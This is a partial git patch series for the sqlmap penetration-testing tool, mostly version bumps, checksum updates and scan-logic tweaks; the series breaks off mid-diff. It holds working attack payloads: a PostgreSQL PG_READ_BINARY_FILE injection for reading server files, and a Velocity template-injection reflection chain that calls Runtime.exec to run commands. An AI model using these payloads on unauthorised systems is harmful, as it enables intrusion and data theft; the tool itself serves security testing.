From a78885d2e38cb92a0c2eee575fa75a347de1873f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 00:31:26 +0200 Subject: [PATCH 1/5] Minor patching --- data/txt/sha256sums.txt | 10 +++++----- data/xml/queries.xml | 8 ++++---- lib/core/settings.py | 2 +- plugins/dbms/postgresql/filesystem.py | 10 ++++++++++ plugins/generic/filesystem.py | 2 +- plugins/generic/users.py | 6 +++--- 6 files changed, 24 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f5165aed776..6120a64625d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -6eca98949c361bbcf5edd5e24dcf001dbaee5b37b244978df7e319cf48dac514 data/xml/queries.xml +45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0a99ba2412606979d02c25ab63d0d92bfe3f2a262d6405a740841f5df83970ba lib/core/settings.py +fc1bf2fb57c1955fa49bf5f0f2fea95ca9e0b6b46f812bfc1174ed8c5506955e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -429,7 +429,7 @@ a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a plugins/dbms/o a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577 plugins/dbms/oracle/takeover.py cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b plugins/dbms/postgresql/connector.py 81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6 plugins/dbms/postgresql/enumeration.py -bdb13225f822227c32051a296918b3ed423a0644ce0c962db13a0dc0e9636395 plugins/dbms/postgresql/filesystem.py +dcb7c9737129ae5b1d054be767a4ed3851fc2a3e50fbd1ab884552ba9dce74fb plugins/dbms/postgresql/filesystem.py 56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e plugins/dbms/postgresql/fingerprint.py 9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a plugins/dbms/postgresql/__init__.py 4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py @@ -495,14 +495,14 @@ a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generi 6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py 13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py -a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py +8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py -45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py +38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 9cfbce4e810..449b6cb9be0 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -464,16 +464,16 @@ - - + + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 413ffb4cfaf..0bc6fc95175 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.194" +VERSION = "1.10.6.195" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 01d8631d1c4..9c3bdb385eb 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -11,6 +11,7 @@ from lib.core.compat import xrange from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject @@ -32,6 +33,15 @@ def stackedReadFile(self, remoteFile): return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # a superuser (or a member of the pg_read_server_files role on PostgreSQL >= 11) can read + # files in-band via pg_read_binary_file(), so file reading does not require stacked queries + return inject.getValue("ENCODE(PG_READ_BINARY_FILE('%s'),'hex')" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index df7fb110389..3e3c5f4b625 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -229,7 +229,7 @@ def readFile(self, remoteFile): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ccd1b7747e4..1f298ac8d28 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -457,7 +457,7 @@ def getPrivileges(self, query2=False): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.ALTIBASE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -668,8 +668,8 @@ def getPrivileges(self, query2=False): return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() - warnMsg += "exist. sqlmap will enumerate privileges instead" + warnMsg = "enumeration of roles is not supported on %s; " % Backend.getIdentifiedDbms() + warnMsg += "sqlmap will enumerate privileges instead" logger.warning(warnMsg) return self.getPrivileges(query2) From 87eb93db1500d198f5aae8d95bd96258b225642b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 12:18:06 +0200 Subject: [PATCH 2/5] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/controller/controller.py | 4 ++++ lib/core/settings.py | 2 +- lib/techniques/nosql/inject.py | 2 ++ 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6120a64625d..161b41eb573 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,7 +163,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 9137a8f7368496c84b21944f6b94c28004d3a2a849ac9c8e0b20e294e4c4a93a lib/controller/checks.py -4598de22ed3df63432e9643ba48533a01bec9f0b253c3a11f322ccedaef353f0 lib/controller/controller.py +666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fc1bf2fb57c1955fa49bf5f0f2fea95ca9e0b6b46f812bfc1174ed8c5506955e lib/core/settings.py +12f9b8bba9ee9e164ba9cd9718bcd71f656e574da6b09635ce498e49cdb1f74e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -245,7 +245,7 @@ c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py 039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py -e465d9cb6ac83dafe38aeec851856183b93f5aa19f628fb64371a290797e2518 lib/techniques/nosql/inject.py +602cba4df418f0852f94509482e8ccb47972b24a8928ad31f96ac5bed1f8c655 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py 29ab841b6129106f19db692a5a30f90a5e758d6cd24d47da0a35c8090910ae18 lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0ce4960a208..67b9278b1be 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -41,6 +41,7 @@ from lib.core.common import removePostHintPrefix from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes +from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.compat import xrange @@ -528,6 +529,9 @@ def start(): checkWaf() + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only") + if conf.graphql: from lib.techniques.graphql.inject import graphqlScan graphqlScan() diff --git a/lib/core/settings.py b/lib/core/settings.py index 0bc6fc95175..f20c7a24432 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.195" +VERSION = "1.10.6.196" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 0b262e31822..52d11e2cef0 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -769,3 +769,5 @@ def nosqlScan(): if not found: warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested logger.warning(warnMsg) + + logger.info("NoSQL scan complete") From e0269acc0d95894befd53d2b26a4040ecb52b289 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 14:59:32 +0200 Subject: [PATCH 3/5] Minor update --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- lib/core/testing.py | 15 +++++++++++++++ lib/techniques/nosql/inject.py | 3 +++ lib/techniques/ssti/inject.py | 34 +++++++++++++++++++++++++--------- 5 files changed, 48 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 161b41eb573..b510dbb8741 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -12f9b8bba9ee9e164ba9cd9718bcd71f656e574da6b09635ce498e49cdb1f74e lib/core/settings.py +2498555483d50cf55f24dcb82b3253816a1ad6c3325b17e502d5063f2c9cbc87 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -073cc21334519624288bbf25060ab4e8102cbe6ec15e706992e639716075af8d lib/core/testing.py +540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -245,9 +245,9 @@ c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py 039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py -602cba4df418f0852f94509482e8ccb47972b24a8928ad31f96ac5bed1f8c655 lib/techniques/nosql/inject.py +bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py -29ab841b6129106f19db692a5a30f90a5e758d6cd24d47da0a35c8090910ae18 lib/techniques/ssti/inject.py +8eaf90c2fa517a4577467ac0d7534a927c23931b946b27e88e63ae022f794a1c lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f20c7a24432..092cf2fd052 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.196" +VERSION = "1.10.6.197" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index ba7d48139ec..e1414e43eca 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -32,6 +32,7 @@ from lib.core.convert import encodeBase64 from lib.core.convert import getBytes from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -114,6 +115,20 @@ def vulnTest(): TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: + # the needle is matched case-insensitively against each entry's command line and its expected + # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry). + def _entryMatches(entry, needle): + needle = needle.lower() + return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1]) + + if conf.get("testFilter"): + TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter)) + logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + if conf.get("testSkip"): + TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip)) + logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + retVal = True count = 0 cleanups = [] diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 52d11e2cef0..ceb1807ea4d 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -692,6 +692,9 @@ def nosqlScan(): tested = found = 0 for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue for parameter in list(conf.paramDict[place].keys()): key = _jsonKey(parameter) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index 93251af7e32..bbbc6e90ccd 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -142,15 +142,21 @@ def _degroup(text): "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", "#* velocity *#", "", "", # no generic expression wrapper - # Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936) - (("#set($str=$class.inspect('java.lang.String').type)\n" - "#set($chr=$class.inspect('java.lang.Character').type)\n" - "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n" - "$ex.waitFor()\n" - "#set($out=$ex.getInputStream())\n" - "#foreach($i in [1..$out.available()])\n" - "$str.valueOf($chr.toChars($out.read()))\n" - "#end", "reflection chain"),)), + # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName() + # reflection chain - needs NO velocity-tools $class in the context - reading the process + # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools + # ClassTool ($class) form, for apps that expose it. + (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))" + "#set($chr=$x.class.forName('java.lang.Character'))" + "#set($str=$x.class.forName('java.lang.String'))" + "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"), + ("#set($str=$class.inspect('java.lang.String').type)" + "#set($chr=$class.inspect('java.lang.Character').type)" + "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))), Engine("Spring EL / Thymeleaf", "java", "${", "}", r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", @@ -588,6 +594,9 @@ def sstiScan(): found = [] for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue for parameter in list(conf.paramDict[place].keys()): if conf.testParameter and parameter not in conf.testParameter: continue @@ -803,6 +812,13 @@ def _executeCommand(place, parameter, engine, cmd): output = output[len(original):] output = output.strip() + # A template that ECHOED our payload directive instead of executing it (e.g. a patched or + # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command + # output: reject it so the loop falls through to the honest "no output received" warning + # instead of presenting a reflected payload fragment as a fake command result. + if output and output in payload: + continue + # Suppress when output is just the baseline with the original value removed # (command produced no output; the template rendered empty) # Filter out template error messages masquerading as command output From f932a3f30f3f7ec20f3282e4485b8fb38dcb67d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 20:45:46 +0200 Subject: [PATCH 4/5] Minor refactoring --- data/txt/sha256sums.txt | 10 ++--- lib/core/optiondict.py | 2 - lib/core/settings.py | 2 +- lib/parse/cmdline.py | 50 +++++++++++------------- lib/techniques/ssti/inject.py | 72 +---------------------------------- tests/test_ssti.py | 33 ---------------- 6 files changed, 30 insertions(+), 139 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b510dbb8741..2b0de81f478 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,7 +181,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -33ed53b263fa766a808be6797dd812822bb115d3b9db6e3a34763f500f5359e8 lib/core/optiondict.py +5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2498555483d50cf55f24dcb82b3253816a1ad6c3325b17e502d5063f2c9cbc87 lib/core/settings.py +098e5d86a0da05d4be5f5ed5371083954be2369abce57fda4bd906d12e1f8870 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -316cdcb3d8d839dab639ed7eb4935780375d49c93371edbd6224976cbb968c2e lib/parse/cmdline.py +403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -247,7 +247,7 @@ c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py -8eaf90c2fa517a4577467ac0d7534a927c23931b946b27e88e63ae022f794a1c lib/techniques/ssti/inject.py +14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py @@ -643,7 +643,7 @@ cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_saf a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py 29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -4a9409a070770cc6300ed2b0c954254273479252fa602ffd19d78917f895756c tests/test_ssti.py +412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py 67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 69d76f70443..7b05a06525c 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -173,8 +173,6 @@ "lastChar": "integer", "sqlQuery": "string", "sqlShell": "boolean", - "sstiQuery": "string", - "sstiShell": "boolean", "sqlFile": "string", }, diff --git a/lib/core/settings.py 